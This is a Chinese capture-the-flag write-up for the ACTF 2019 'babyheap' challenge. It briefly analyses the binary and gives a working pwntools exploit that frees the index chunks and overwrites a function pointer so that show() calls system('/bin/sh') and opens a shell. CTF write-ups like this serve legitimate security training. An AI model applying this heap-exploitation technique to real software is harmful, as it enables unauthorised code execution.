这题看名字就知道是堆题,先看保护:
保护除了PIE全开,黑盒测试:
题目提供增删查,没有改。看看IDA中代码逻辑:
逻辑跟我前面做的一题极为相似,就不过多分析。
这是free:
因为题目不能改写got表,但是题目给了system函数地址和bin/sh。因此我们的利用就简单了。直接利用show的调用方式去调用system函数。
我们看看申请三个堆的情况:
圈起来的是索引堆的内容。
漏洞利用:
想办法把索引堆释放并申请回来,在上面布局我们的system(bin/sh)
exp如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-from pwn import *context(arch='amd64', os='linux', log_level='debug')io=process('./ACTF_2019_babyheap')
#io=remote('node5.buuoj.cn',29583)def Create(Size,Content):io.recvuntil("choice:")io.sendline("1")io.recvuntil("size:")io.sendline(str(Size))io.recvuntil("content:")io.sendline(Content)def Delete(idx):io.recvuntil("choice:")io.sendline("2")io.recvuntil("index:")io.send(str(idx))def show(idx):io.recvuntil("choice:")io.sendline("3")io.recvuntil("index:")io.sendline(str(idx))system_addr=0x4007a0
binsh_addr=0x602010
#gdb.attach(io)Create(0x20,'aaaa')
Create(0x20,'aaaa')
Create(0x20,'aaaa')
#pause()
Delete(0)
Delete(1)Create(0x18, p64(binsh_addr) + p64(system_addr))show(0)io.interactive()